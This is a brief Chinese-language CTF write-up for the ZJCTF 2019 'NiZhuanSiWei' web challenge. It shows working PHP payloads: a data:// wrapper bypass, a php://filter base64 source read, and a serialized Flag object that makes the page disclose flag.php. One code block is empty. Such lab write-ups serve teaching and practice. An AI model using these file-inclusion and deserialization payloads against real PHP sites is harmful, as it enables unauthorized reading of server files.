[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
第一层绕过用伪协议了肯定:
1 | ?text=data://text/plain,welcome to the zjctf |
可以看到是给我们提示了useless.php,但是我们看不到源码,所以file文件包含去读取useless.php的内容,理论上也可以读flag,但是这里做了个过滤:
1 | file=php://filter/read=convert.base64-encode/resource=useless.php |
得到源码,发现是反序列化:
这个反写劣化异常简单,我们只要给file变量赋值即可:
1 |
|
最后传入password即可:
1 | ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |